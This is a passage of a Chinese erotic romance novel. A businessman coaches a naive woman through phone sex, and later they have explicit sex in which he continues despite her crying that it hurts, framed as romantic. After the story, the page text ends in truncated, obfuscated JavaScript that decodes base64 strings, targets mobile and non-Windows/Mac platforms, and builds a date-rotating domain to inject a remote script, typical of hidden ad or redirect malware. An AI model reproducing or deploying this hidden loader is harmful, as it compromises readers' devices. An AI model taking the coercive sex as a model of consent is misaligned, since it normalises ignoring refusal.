「你……」黎香香抿着唇,他故意压低的声音,比平时的声音还要好听好几倍。「你别装傻,你中午吻我的事……」
「吻你而已。」贺焰不以为意地说:「其实我们应该要多认识对方一点,到时候才不会穿帮。」
「哪有人用这种方式认识啦!」黎香香抗议,这男人摆明就是佔她便宜。
「你现在穿的内裤是什么颜色」贺焰无耻地问,摆明就是想逗弄黎香香。
黎香香脸儿好红,急急忙忙开口,「你这个变态……」
「我不是变态,我是你的男朋友。难道你要我们到了饭店后露出马脚吗别忘了,要是我们失败,你一辈子无限享用的甜点也跟着飞了。」
他真的好可恶哦!
「粉……粉红色的啦!」黎香香小声回答。
「有没有蕾丝」贺焰又问。
「嗯……」
「那你现在是穿裙子还是裤子」贺焰的声音愈来愈迷人、愈来愈勾引。
「裤子。」黎香香轻咬着嘴唇,抗拒不了他的声音。
「那现在把你的手伸进裤子里头。」
黎香香犹豫了一下,不解地问:「为什么我要把手放进裤子里头」
「听话,照做。」贺焰勾起嘴边的弧度。「把手掌贴在你的内裤上面,告诉我,你有什么感觉」
黎香香怯怯地将小手伸进裤子里头,指尖正好搁在敏感的部位,一种酥麻的感觉窜到全身。
「有点……痒痒的。」她的唿吸忽然变得好喘。
「哦那用你的食指在内裤的三角地带,轻轻地以顺时针画着圈圈……」贺焰像个老师般教导黎香香。
黎香香觉得好害羞,但是这种事她从未做过,好奇心最后终于战胜羞怯,照着他的话继续画着圈圈。
「唔……」她压下低吟,胸口的起伏却愈来愈大。
「舒服吗」听到她的低吟,他的声音也变得瘖哑。
「我、我不知道……」她的双眼变得迷濛。「我从来没有过这种感觉。」
「很舒服对不对」他温柔地问:「接着,用你的食指轻轻往下压,然后放开、再往下压……这个动作做十遍。」
她听话地照着他的话做,在花芯中间压住、放开,来回十遍后,她感觉口干舌燥,身体也忍不住轻轻扭动起来。
「放开之后,把你的食指放在内裤中间,上下来回……」
「唔……」她轻轻娇喘。「为什么……这样的动作,比你吻我的感觉还要热……」
「很热吗」他在电话那端问着。
「嗯……」她娇声回答。
「那想不想继续」看来单纯的她,果然敌不过身体的本能。
啊!欺负她真快乐。贺焰觉得心情非常愉快。
「我……不知道。」黎香香明知这种事很羞耻,但她就是没办法停下动作,尤其他的声音又是如此温暖,身体彷彿被他燃起了火焰。
「想继续的话,就把你的上衣和裤子脱下来,全身上下只能剩下内衣和内裤,不可以骗我,要不然你下次再来我公司时,我不帮你准备甜点了!」他决定了,他要好好欺负她!
呜呜……他好坏哦!
最后,黎香香还是听从贺焰的话,将身上的睡衣及睡裤脱了下来,身上只剩粉红色的内衣及内裤。
「把你的胸罩也脱下来,然后手掌贴在乳尖上面。」贺焰一个口令,一个动作,虽然看不到黎香香的动作,可依照她的喘息声音,他就能判断她的状况。「有没有摸到可爱的乳头」
他的话好色情唷!黎香香红着脸,但还是老老实实地照做。「有……你说话不要那么直接,我……我觉得好丢脸。」
「用你的指尖拨弄你的乳尖,让它变硬、变得更敏感。」贺焰瞇起黑眸,发现这游戏玩到最后,恐怕也会害了自己。
但是听到她在电话那头的娇喘,他竟然捨不得将电话挂断。
「嗯……」黎香香的身体微微弓了起来,双腿之间也夹得更紧。「我的身体得好热……」
「你的大腿之间是不是也想被摸」贺焰的声音也变得混沌,低声问着。
「我不知道……」黎香香摇着头,却不能否认身体的燥热。
「手伸进内裤里头,有没有摸到湿湿的」
「有一点……」黎香香老实回答。
「掰开那两片花瓣,以中指轻揉细缝的中间,声音别压抑着,叫出来……」
「唔……」黎香香喘得好厉害,身体也扭动得愈来愈厉害,她闭紧双眼,右手在双腿之间揉捏着花穴中的花蕊。「贺焰……我觉得身体好难过哦!」
「舒服吗」
「嗯。」黎香香轻咬唇瓣。「可是……我的身体好麻……」
她的下腹燃起了火焰,她不知道怎么把这把火消灭。
「还想继续吗」
她的声音太可爱了,比O二O四还要甜美,让他的下腹起了一阵骚动,很想直接将她绑在床上。
「我……」黎香香摇摇头。「可不可以不要了」
再继续下去,她的身体一定会像气球般爆炸。
「那就不要了。」贺焰临时喊停。「你老实告诉我,这样摸自己舒不舒服」
黎香香拿开自己的小手,红着脸、喘着气。「我、我不知道……」
「不知道再继续。」贺焰恫吓着。
「啊!舒服啦!」黎香香整个人钻进被窝里,感觉非常羞耻。
「你不用感觉羞耻,这种事是正常的。」她的诚实与害羞,为他带来愉悦的心情。「好了,你快点睡觉。记得礼拜日的约定。」
她还来不及开口,他就把电话挂掉,独留她瞪着话筒。
「讨厌的贺焰……」黎香香恼羞成怒,把手机往-旁丢去,拉起被子蒙住涨红的小脸。
都是他啦!害她的身体起了怪异的变化……
呜……她被他欺负得好惨。
第四章
自从贺焰在电话里教黎香香那些淫秽的动作之后,她再也不愿到他的公司去,只肯在礼拜日与他见面。
贺焰无法逗弄单纯的黎香香,只能等待着礼拜日的到来。
「女人,你在哪里」相亲当天,贺焰身穿黑色手工西装,拨了黎香香的手机号码。「我们约定的时间到了,你要自己过来,还是我去载你」
电话那头的黎香香声音有些着急。「不行啦!我老爹怕我跑掉,所以强迫载我到君君饭店。」
「什么」贺焰皱眉。「那不是我们约定的地方吗那你在哪间宴会厅,我十分钟后到。」
黎香香和贺焰说了宴会厅的名字后,他便开车火速前往饭店。不到十分钟,他就将车子停好,来到宴会厅外,发现她正着急得像热锅上的蚂蚁。
「怎么办啦」黎香香急得愁眉苦脸。「我好紧张哦!」
「为什么紧张」贺焰睇了她一眼。「我先帮你搞好这边,等等换你跟我去父母那儿。」
她用力点点头。「你相亲也在这里唷」
「嗯,只是我还没打电话询问我家老头,到底是哪间宴会厅,」贺焰望着黎香香的打扮,一袭鹅黄色的洋装,配上一头乌黑洁亮的黑髮,发边还别了一个水钻样式的髮夹,裙下是平底包鞋,清纯得教人想咬她一口。
「喂……」黎香香的小手在贺焰面前晃了晃。「我穿这样很奇怪吗」
她努努小嘴,他干嘛一直盯着她瞧彷彿她是原始人般。
「不会,很好看。」难得他会称赞女人。「走,我们进去吧!」
黎香香连忙做个深唿吸。「不过,听说男主角还没来耶!」她望着贺焰,为他解说里头的情况。
贺焰睇了她一眼后,决定先开门进去,撇除自己心里头的疑问。
他一推开门,他的手机正好响了起来,这时,宴会厅里有两名男子,都将目光放在他身上。
「贺焰,你怎么会在这里」一名年近六十的男子指着贺焰的鼻尖大叫。
贺焰望清那人的脸孔,才发现那是--他老爸!
「我相亲的对象,不会是黎香香吧」贺焰瞬间觉得满脸黑缐。
贺老爹不可思议地问:「真神奇,我没跟你说是哪间宴会厅,你就知道地方,难不成你和香香认识」
「是这样吗,香香」黎老爹反问着自己的女儿。
黎香香也愣在原地,向来不会说谎的她,只得硬着头皮点头。
「没想到咱们的儿女竟然认识。」贺老爹拍上黎老爹的肩膀。「太好了,这一定是注定的姻缘。」
「所以我们可以准备办喜事了」黎老爹挑眉看着眼前一对年轻人。
「可以、可以。」贺老爹拼命点头,完全没注意到年轻人的脸色。
这是怎么一回事黎香香还搞不清楚状况,看看自己的老爹,又看看贺焰。「我要相亲的对象是你」
「如果没有意外的话,应该是。」不知为何,贺焰心头上的石头似乎放了下来。若是对象是黎香香,好像还不错。
黎香香瞪着贺焰。「那我不管,你答应的条件,一样要履行。」
不理会一旁正在起哄的两个老人家,贺焰的双眸放在黎香香鼓得像气球的脸颊上,将她拉到一旁,两人亲密地说着悄悄话。
「可以,但是你必须一直假装是我的女朋友。」
「啊」黎香香皱眉。「这对我来说并不公平。」这样代表她要一直被他欺负耶!
「怎么会不公平只要我找到喜欢的女人,我们的关系就可以结束了,不是吗」他又在哄骗单纯无知的她了。
「那如果我不巧地在这段期间遇到喜欢的男人呢」黎香香嘟着小嘴问。
「你也可以老实告诉我。」虽然他不喜欢她这个问题,但为了公平起见,他必须允许。
只不过说是一套,做是一套,到时候他再看着办。
「真的吗」黎香香眨眨眼,眼里有着猜忌。
「你觉得我会骗人吗」贺焰扬起好看的笑容,一副人畜无害的模样。
「好吧,我相信你。」反正她也不想结婚,而且又可以天天吃到好吃的甜点,何乐而不为呢
两人达成协议,决定再一次连手合作,以隐瞒双方家长。
所谓道高一尺、魔高一丈,当贺焰与黎香香有这样的想法时,双方家长为了防止他们私下搞鬼,决定让他们先订婚。
订婚!黎香香一听到这个消息,差点没有昏倒,她心里抱持着贺焰会拒绝的期待,没想到传回来的消息是,贺焰竟然答应先订婚。
这怎么可能
黎香香很快便冲到贺焰的公司,想找他问个清楚。
秘书为她通报之后,很知趣地送上高级蛋糕、巧克力及奶茶后,便悄悄退了出去。
「喂……」黎香香气唿唿地来到办公桌前,看着埋首公文之中的贺焰。
「我有名有姓。」贺焰唇角微微勾起。「如果没意外,我应该算是你的未婚夫。」
「我真不敢相信,你怎么会答应老爹他们先订婚呢」黎香香为他的不在意而生气。
一听到她是专程来兴师问罪,而不是兴奋得手足舞蹈,令贺焰心里一阵不悦。「你的意思是,和我订婚很委屈」他抬眸望着她那张红润的苹果脸。
「你不是说,我不嫁人同样可以享受到一辈子的甜点优待吗怎么你出尔反尔,又答应老爹他们要订婚」她觉得自己像玩具,被他玩弄在手掌之间。
他将她拉到沙发上坐着,将蛋糕放在她的手中。「你觉得嫁给我不好」
她一愣,不知该如何界面。
眼里映着弛那张俊美的容颜,两道墨黑的眉毛、配上挺翘的高鼻,薄唇正勾起一抹弧度,怎么看,都是难得一见的美男子。
「不是不好,而是……」黎香香嗫嚅地开口。「我没想过要结婚。」
「但是在遇上我之前,你不是打算要结婚」贺焰挑着眉望着她。「为什么现在角色换成是我就不可以了」
她发现他的脸色变得好难看,彷彿正在生气。
「因为……因为我觉得你不喜欢我,而且你也不想结婚……」她以叉子玩弄着蛋糕。「所以我觉得我们还是维持『伙伴』的关系,结婚还是得找自己喜欢的人……」
「你不喜欢我」贺焰瞇起黑眸,看着黎香香张口结舌的模样。
她羞涩地低下头,不知道怎么回答这个问题。「我……我没有讨厌你,我觉得你很像黑森林蛋糕……」
「说白话一点。」贺焰挑眉。
「就是你看起来很好吃……」她因为他的逼供,而不得不说出实话。
他轻撇嘴唇,大手勾住她的下颚,让她的双眸望着他。「你想吃我」他的声音带着邪魅,一步一步诱惑着她。
怎么会这样黎香香放下手上的蛋糕,惊慌失措地望着贺焰,他那邪魅的声音似乎回到那夜,勾引着她做那些很色情的事情……
「那就别客气,我自愿让你吃得一干二净。」他说完后,起身将办公室的门反锁,又拨了通电话给秘书,交代两个小时之内不准打扰。
黎香香不明白贺焰的用意,只是蜷缩在沙发上,不解地看着他走回沙发前。
贺焰以手指挖了一口蛋糕上的奶油,放在黎香香的唇瓣上。「来,吃吃看蛋糕好不好吃」
她听话地张口含住他的手指,见她伸出粉嫩的小舌,他喉头滑动一下,然后她灵活的小舌开始舔舐他的手指,直到奶油逐渐消失。
接下来,他拿起蛋糕咬了一口,强而有力的手臂将她往怀里一拉,低头望着她圆磙磙的双眸,俯首将口中的蛋糕餵进她的口中,还不忘挑逗着她的香舌。
「嗯……」黎香香瞇着双眸,感觉一阵酥麻爬上全身,这种亲吻她并没有尝试过,想逃开却又不知该怎么做,只能任由他主导着一切,茫然地望着他。
「你不是想吃我吗那把我唇边的奶油全舔光……」他在她的耳边轻吹着气,甚至还舔了下她白嫩的耳垂。
她的身子轻轻打颤,拒绝不了他低沉的要求。
于是她送上自己的唇,抿去他唇边的奶油,最后以舌尖舔舐着,尝到香浓的牛奶味,也感觉他浑重的男人气息吹拂在脸上。」
最后她的舌来到他的唇上,他终于忍不住含住她的舌尖缠绵、嬉弄。
「唔……」她的唿吸倏地变快,却不知该怎么应变。
她的动作虽然生涩,却轻易挑动他征服的慾望,他的大手探进她的衣内,隔着蕾丝胸罩揉捏着她的胸房。
她没有力气反抗,只能任由他吻着,任由他的大手侵袭她的身子……
贺焰褪去黎香香上半身的衣服,只剩可爱的鹅黄色蕾丝内衣,包裹着软唿唿的棉乳。
「你真可爱。」他低头,在她右胸烙下印记。
「啊……」她的身体因他的触碰而微微轻颤,明明知道自己的身子不应该让男人碰触,但是对象是他,她无法喊停。
「那么敏感」他邪佞地笑着,大手覆上她的胸罩,隔着布料轻揉捏着。「这样有什么感觉」
「贺焰……不要……」她摇头,发觉这样的动作令她好害羞。
「这么快就不要」他轻笑一声,从背后解开胸罩的扣子,两团绵软的乳房弹跳出来,露出两朵还未甦醒的红莓。
他制住她的双手,然后拿起奶油蛋糕狠狠往她身上抹去,香草口味的鲜奶油与蛋糕全黏在她胸前。
「啊……」她又惊又慌,一阵冰凉窜上背嵴。
「怎么办你的胸前全是蛋糕和奶油。」他伸出舌头,往她胸前用力一舔,奶油味与她的体香混在一块,甜美得教他恨不得吞下她。
「你、你不可以这样……」她的小脸好红。
「还记得之前我教你怎么吃棒棒糖的吗」他的舌尖在胸前的红莓上轻轻舔弄,「先以顺时钟绕着圈圈,像这样……」
「啊……」她的身子微微弓起,感觉他的舌尖又湿又滑,在她敏感的乳尖来回游移,酥麻的感觉愈来愈加重。
见她自然又敏感的媚态,他的大手也没有闲着,褪去她下半身的裙子,最后来到大腿间的三角蕾丝布料中间。
他以中指抚按着,感觉到柔软的核心,她下意识地将大腿夹紧,但却阻挠不了他邪恶的进攻。
他轻轻压着柔软地带,先是左右来回几十次,最后见她轻喘的模样,他才将薄薄的三角裤剥下,露出美丽的森林地带。
「不、不可以……」她害羞地摀住自己,轻摇着头。
「我想吃你。」他含住她胸前的蓓蕾,以舌尖挑弄它的甦醒,感觉它在他的口中渐渐凸起、变硬。
她的身体正逐渐燃烧着,下腹起了莫名的骚动,他的大手又重新操进她的股间,寻找娇嫩的花芯。
「不可以这样……」她娇喘着,一点说服力也没有。
他望着她极力忍耐的表情,停止所有的动作,最后抓起一个三角蛋糕,餵她吃了一口,然后扬起邪恶的笑容。
「你的口中一直喊着不要,可我餵你吃了,你倒也没拒绝……」他使坏地往她光裸的股间看去。「下面那张安静的口儿,是不是餵它吃了蛋糕,它也不会拒绝呢」
她听不懂他的话,没想到他竟然将她的双腿打开,将手上的蛋糕往她腿间用力抹去……
「啊……」她想跳离沙发以闪避他,但却被他的大手压下。
「瞧,这儿也如你的小嘴,贪吃得很……」
他以食指轻抚着全是奶油的花穴,均匀地将奶油涂满她的双腿之间,接着又来到毛密的花口,藉着奶油的润滑轻易滑进花穴之中。
她的花穴紧密地吸附着他,虽然分泌了一点花津,却还不够让他随心所欲地进出。
他抽出长指,伸出舌尖轻吻香甜的花口。「让我尝尝你的味道,是不是和奶油一样香甜」
她还没来得及反应过来,便感觉最敏感的私处覆上又湿又滑的柔软物,正轻舔看两办花唇。
「那、那里不行……」她半坐在沙发上,想阻止他的行为,却感觉花穴里竟莫名流出液体,令她的小脸皱成一团。
呜呜……他把她舔得……
「啊……」她微喘着气,口中逸出让人脸红的声音。
「你好甜。」他的舌灵活地在花唇上绕着圈圈,最后探进嫩芽般的花芯之中,找寻敏感的圆点。
花核中心缓缓沁出花蜜,他嗅到一股甜甜的味道,让他更卖力地往凸起的花核上轻佻。
「贺焰……」她的身子开始扭动,他的舌尖在花瓣最深处挑弄着,令她的体内升起一抹难以消灭的火焰,沁出大量的花津。
他的舌头像是颤动的机器,搅弄着敏感的圆点,不顾她身子的扭动,执意要尝到那香甜的蜜液,她弓起身,两团胸脯剧烈颤动着,双手紧抓着他的背,抓皱了他的衬衫,让好听又暖昧的声音自口中流洩。
如同她穴中的花蜜,她的娇吟止不住地疯狂逸出……
第五章
贺焰很满意黎香香身体的诚实,她身下流出的花蜜,味道就和她的人一样香……
他离开她双腿之间,解开衬衫的衣扣和裤子的腰带,呈现精壮的勐男裸体。
他拉起全身都在颤抖的她,让她跪坐在地毯上,身子趴在沙发上,饱满白嫩的粉臀正对着他。
「贺焰……」黎香香觉得这是不对的,但是他的霸道令她无法拒绝。
「让我看看你最美的地方。」他分开她的大腿,她的臀儿又圆又翘,他的大掌忍不住拍打着她的臀部。
又响又亮的清脆拍击声中,伴着几声她的轻吟。
「原来你喜欢我这样」他落在臀部上的巴掌愈来愈响,直到他闻到她沁出的香味。「又湿了」
面对贺焰淫秽的字句,黎香香羞得快钻进地洞了。
他掰开她白皙的臀部,美丽粉嫩的菊花儿正慢慢地绽开,他的长指轻抚着菊瓣的形状,监于她的反应彷彿是第一次,他并不想太激烈,只是以食指来回轻轻抚弄,很快的,她的花户又缓缓流出透明的蜜津。
她的身子比他想像中还要敏感,令他嗅到一阵又一阵花香,下腹如铁般的慾望正勃发着。
然而他并不想这么快进入她的体内,食指沿着菊花瓣而下,来到肥美的贝肉之间。
此时湿滑的花蜜沾湿她细柔的毛髮,带点亮泽,诱人得教他忍不住伸手拨弄。
「讨、讨厌……」黎香香喊一声,「你到底想做什么」
她的身体好热,热得需要他的抚慰。
「我想要你。」他眼一瞇,身子往她的背部压去,股间的勃发刚好抵在她的大腿之间。
「啊……」他的粗长烫了她娇嫩的皮肤。「你用什么抵住我」
「会让你快乐的……超大型巧克力棒!」贺焰低低一笑,从黎香香背后攫住她晃动的双乳,手指与拇指-起玩弄着胸前的红莓。
他在她美丽的背部留下无数的细吻,丰满的身子白白嫩嫩,柔软得让他恨不得马上进入她的身体。
最后,男根在她大腿之间摩擦许久,他的大手沿着胸部而下,滑过腰际来到她的臀部之间。他扶着热铁,在美丽的阴户画着圈圈,故意在外头徘徊而不进去。
「别……」趴着的黎香香根本看不见贺焰在做什么,只觉得大腿之间搔痒难耐,无法摆脱那股折磨。
他一挺腰,炽烫的热铁没入花穴之中,她的唿吸一窒,感觉又大又粗的铁棍挤满她的甬道。
湿润的花蜜虽然润滑了甬道,但是又紧又窄的花穴,让他只能进去三分之一,没有办法一次全部进入。
「好痛……」她扭着腰,想要他退出自己的体内,无奈她的身子被他压制住,根本无法随意扭动。「你戳得我好痛……」
他皱眉,他自己也没有好到哪儿去,要进不进、要出不出的窘态,令他强忍着难耐的痛楚。
「宝贝,你是第一次吗」他趴在她的背上,双手抓着两团绵乳。「忍耐一下,等等就会很舒服了。」
「可是我现在很不舒服!」她吸吸鼻子,痛得差点落下泪水。「好痛、好痛哦!」
但现在他已进入滑润的花甬,哪可能说停就停贺焰的大手由黎香香的腰际往下移去,捧住她的臀部,用力往前挺去。」
她紧窄的小穴因他的热铁而被用力贯穿,像是撕裂了她的身子一般,疼得想离开。
但他哪会让她逃开很快就将她拉了回来,缓缓在她体内抽送起来。
「呜、呜……」伴随着他在她臀上的撞击,她的抽泣声再也忍不住了。
他没有办法停下动作,抽送的速度渐渐加快,很快的,他望见润洁的汁液伴随着红色的液体流出。
那是代表她是处子之血的象徵!他一惊;放慢速度,但却没办法抽离她的身体,这样的刺激对两人都是折磨。
虽然心疼她的痛楚,可她自然的摆动配合,差点让他失控。
抽送几十下之后,她微喘的胸脯跟着他的身体律动,胸前的乳尖在沙发上磨蹭,双重刺激之下,疼痛渐渐被酥麻取代。
「啊、啊……」黎香香口里流洩出令人脸红心跳的声音。
一见她的反应那么放浪面娇媚,贺焰明白她开始可以承受他的掠夺。
她的嘤咛就像魔咒般,一次又一次催化着他的动作,狂野而驰骋地来回抽送,淫秽的拍击声在室内形成浪荡的语调。
两人的身子贴得很紧很紧,几乎没有一丝缝隙,直到她的双腿之间传来一阵酥麻,她觉得体内有处地方快要爆炸了……
「贺焰……我……我觉得不行了。」姥紧咬着唇,浑身开始发颤。
他的炽热硕铁将她推上高潮,因她的高潮而紧缩的甬道,紧紧吸附着他的热铁,很快地也让他达到高峰。
肿大的男根在她的体内喷洒出种子,不断抽搐着,将最后的白稠全数灌进她的花壶之中。
呜呜……
黎香香抓起散落一地的衣服,委屈地蜷曲在沙发上。
「哭什么」贺焰拾起自己的衣服,拿起面纸擦拭沾有血液的男根之后,到休息室找了一条干净的毛巾,用水濡湿之后,跪在她的面前,打算帮她清理双腿之间的残存痕迹。
「不,不要……」黎香香嘟着小嘴,脸颊还挂着两条泪痕。
「我帮你擦去腿间的痕迹。」贺焰硬是掰开黎香香的大腿,花穴之中还流出白浓的白浆,那是他爱她的痕迹。
欢爱不久后的花口,还散发着一阵香气,那是一种诱人的气味。
他动作轻巧地为她擦去腿间的血迹之后,又为她抹去脸上的泪痕。
「爱哭鬼。」他轻吻她的额头,疼惜地将她抱在怀里。
「才不是我爱哭,是你太坏……」黎香香将衣物护在胸前。「走开啦!要穿衣服。」
他轻笑一声,勾起她的贴身衣物,大手放肆揉捏着她的胸部。「为什么要穿衣服你一丝不挂的模样挺诱人的,我从不知道你有这么娇美的身材。」
「你……」她气唿唿地拍掉他的大手。「我全身黏唿唿的,都是蛋糕啦!」
黎香香羞怯地看着沙发上凌乱的一切,奶油把沙发给毁了。
「那又如何」他亲吻她的唇。「休息室备有沐浴设备,别担心。」
他不介意她光裸地在他的办公室中四处走动。
她还来不及抗议,便被他带到浴室,他调好水温,温水自莲蓬头沖刷而下,淋湿两人的身体。
「我要洗澡。」她抗议地说着。
「一起洗。」他全身光裸地站在她面前,大方地让她欣赏男色。
她一眼就看到粗黑毛髮中刚刚侵袭她的「坏东西,,她羞怯地别开头,小脸好红好红,却又不知如何避开他的气息。
他抱住她娇软的身体,在她的颈间种下一朵又一朵的樱色印记。
「啊……」她轻咛一声,他的大手抚过她光滑的背部,来到她挺翘的臀部,不安于室的热铁磨蹭着她大腿间的软毛。
「告诉我,其实你喜欢我这样……」他的吻由她的长颈而下,来到丰满的胸脯前,含住已经凸立的蓓蕾,尝到了甜美的果实。
「我……我一点都不喜欢……」她微喘着气,没想到被他一碰,她的身体立刻热了起来。
「真是个不诚实的女孩!」他轻咬果实一下,令她的身体战慄着。「我会让你诚实地说喜欢。」
才休息一下,他下腹又燃起火热的慾望,对她的索求似乎一次比一次更强烈。
他的大手摸向她的细腿之间,在柔软的毛髮间轻轻拨弄,最后探进细缝之中,残留的花蜜使得他的手指很快寻找到圆核。
由于她才经历过高潮,花穴之中还有滑熘的花蜜,让他轻松地在她的细缝之中来回游移。
「嗯……」她强忍着不发出暖昧的声音,想阻止他对她的侵犯。「贺焰,我……我不喜欢……」
她以为这样就能拒绝他的求欢,却反而更勾起他的挑战欲。
他不理会她的口是心非,迳自以食指拨弄着敏感充血的花核,左右来回地颤动,使得中间的小豆子渐渐肿胀。
他的中指在花口外徘徊,感觉那渴望的小口一张一合,还沁出透明香甜的汁液。
「你真的不喜欢吗那为什么你的乳头会变碍这么硬」说着,他又含住粉红色的乳尖,以灵舌拨弄。
她紧闭着双唇,不打算回应他淫秽的话语,但她的身体却诚实得很,体温渐渐升高,双手则紧紧攀住他的肩膀。
他的中指最后探进花穴之中,又窄又滑的甬道竟然紧紧吸附着他,花蜜也沾染了他的大手。
花穴里头是细嫩的肉壁,就像丝绒般包裹住他的长指,让他的下腹忍不住昂然勃发,跃跃欲试。
他想要再一次地要她……
可是这磨人的小东西,居然嘴硬地不肯承认两人的欢爱是多么愉悦,他非得让她开口说喜欢才行。
「真的不要吗」他离开她的红莓,望着她亟欲忍耐的模样。「瞧,你下面流了好多的水……」
她闭上双跟,摇头不语。
「睁开眼!」他低声命令,将她抱到镜子前面。「你瞧,你全身发红又发烫,连乳尖都硬成这样,下面也一直流出花蜜……」
「不要说了啦!」她轻喘着,睁开双眼。
透过镜子,她望见镜中的自己长髮微乱,粉唇也因为他的轻吻而异常红润,就连胸脯上那两粒粉色果实也挺立着。
她的双腿之间因他的抚弄而渐渐湿润,甚至比刚才更湿、更滑。
「我好想要你,想要进去你的体内,你让我感觉到疯狂。」他的长指在她的体内搅弄,滋滋的水声回应着他的手指。
「焰……」她的唿吸愈来愈急促,娇吟成了-连串的吟哦。
「想要了吗」他故意在她的耳边吹气。
她摇头,固执地不肯承认自己的需要。
「真是倔强!」他抽出长指,望着她脸颊的红晕。
顿时,她像是失去依靠一般,充满无限的空虚及难耐,水汪汪的大眼不解地望着他。为什么他要这样折磨她呢
「是不是觉得身体好热」他望着水珠落在她的身上,亲吻着她粉嫩的肌肤。「是不是觉得我把手指抽出来很难过」
她以舌尖轻舔着唇瓣。「贺焰,我……」她依然紧攀着他的肩膀,温水洒湿了他们的身体。
「说你想要我,我们再继续……」他不打算放过她,手指拉扯着她硬挺的乳尖。
「贺焰……」她委屈地望他。「我的身体好热……」
「怎样的热法」他挑眉问着她。
「像刚刚在沙发上那么热。」她的声音变得魅惑,娇滴滴地恳求着。。焰……我想要你……」
他勾起得逞的笑容。「早说不就成了」他双手捧着她的臀部,将炽热送进她的身体。
他抬起她的右腿,让她整个背部倚靠在墙壁上,昂然欲发的热铁对准她的花芯,直接插入湿漉不堪的花口之中。
「啊……啊……」她没想到他的动作如此狂放,那深深没入她体内的热铁,正如鱼得水地在她的花穴之中得到解放。
虽然她还是觉得疼痛,但已不像第一次感觉到的撕裂痛意,反而有一种说不出口的酥麻感觉。
「你喜欢这样吗」他喘息着,望着吟哦的她。
她点头,理智早巳被情慾淹没,毫无保留地与他一同沉浸在淫靡的情海之中。
「我要你开口,说你喜欢我这样抱你、爱你……」他咬着她耳垂,腰际间的动作可没有松懈过。
「我……我好喜欢你这样抱我……」她的口中逸出放浪的声音,随着他的动作,愈来愈高亢。
「那要不要我再快一点」他瞇眸望着她迷漾的双眼,模样有点可爱。
「要……」她点头,放弃原来的矜持。
他笑了出声,将她抱起来到浴室外的休息室,自己坐在床上,让她坐在他的腿上,好让肉刀能更深入她的花穴。
她被他抱着,根本没有支撑点,只能以双腿夹紧他的腰际,防止自己跌落在地。
见她热情的模样,他更是紧抓住她的雪臀,前后摆动地让热铁在她的花穴之中抽送。
「我喜欢你的声音,叫出来!」他的腰一顶之后,热铁一次比一次更埋入她的体内。
「啊……啊……」她再也不顾羞耻之心,享受着他为她带来一波又一波的欢愉,身体随着他的律动上上下下。「焰,我好喜欢你这样……」
他换了一个姿势,将她放在床上,抬起她的双腿,肉刀狠狠贯穿她柔软的肉壁。
她双手紧抓着身下的被褥,胸前的两团绵乳形成乳波,肉壁也因为他的抽送而沁出了蜜津。
这样的姿势让她轻松多了,但埋在她美丽花穴中的热铁实在太美妙了,让她弓起身子迎合着他的律动。
「你好紧,让我好舒服……」他望着她弓起身子的模样,一次又一次地抽送着。
热铁充实了她的甬道,她细细的喘息伴随着诱人的美妙吟声。
他望着自己的男根被她的花口吞吐着,突然快速强烈地挺送,霎时,一阵强烈的情潮向他席捲而来。
他放慢速度,望着身下甜美宝贝皱起的柳眉,彷彿控诉着他没有等她一同爬上高潮。
「焰……」
「想要我快一点吗」他邪佞一笑。
「要……」她点头,不知羞耻地说。「再快一点……」
他依了她的话,粗热的肉铁在花穴之中加速抽送,直到她的蜜穴因为高潮而喷洒出更多晶亮的蜜液,濡湿了整根热铁,美妙的娇吟伴随着他的低吼,谱出最完美的乐章。
而在她体内的男根,也再次喷洒出白色琼浆,结束一场靡淫的宴会。
欢愉过后,贺焰抱着力气被抽光的黎香香,来到浴室沖洗一番后,以浴巾包裹着她娇嫩的身体,才抱着她在床上休息。
黎香香累得睁不开双眼,直到躺在床上,才睁开一双长睫。
「我……」她欲开口,可脑子一片空白,想不出成串的字句。
「嗯想说什么」他拂着她耳边微乱的髮丝。
「你……我……」她的小手握着他的大手。「订婚……」
「你都被我吃了,还不想订婚还是你对我不满意没关系,我可以让你试用到满意为止。」
他作势想扑上去,她的双手却抵在胸前。
「不要,」她摇头,眼里有着担心。「你真的……想和我订婚吗」
「如果你担心的是我喜不喜欢你,那我可以老实告诉你,你是我见过最甜美的女人,所以……你不用担心你不够爱我,感情是可以培养的。」
像她这么单纯又可爱的女人,他要到哪儿去找
「你很霸道,都不问我心里有没有放着别人……」她嘟着小嘴,可心里却有种甜甜的滋味,比吃了巧克力还要甜。
「遇上我,你这辈子休想有第二个男人了。」他轻吻她的额头。「乖,先睡一会儿,要吃晚餐时我再叫醒你。」
「可是……」
「眼睛闭上,不然我们再做一次。」他恐吓她。
她吓得闭上双眼,很快就沉入梦乡。
贺焰见黎香香睡去之后,才离开休息室,回到办公室继续埋首工作。
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var 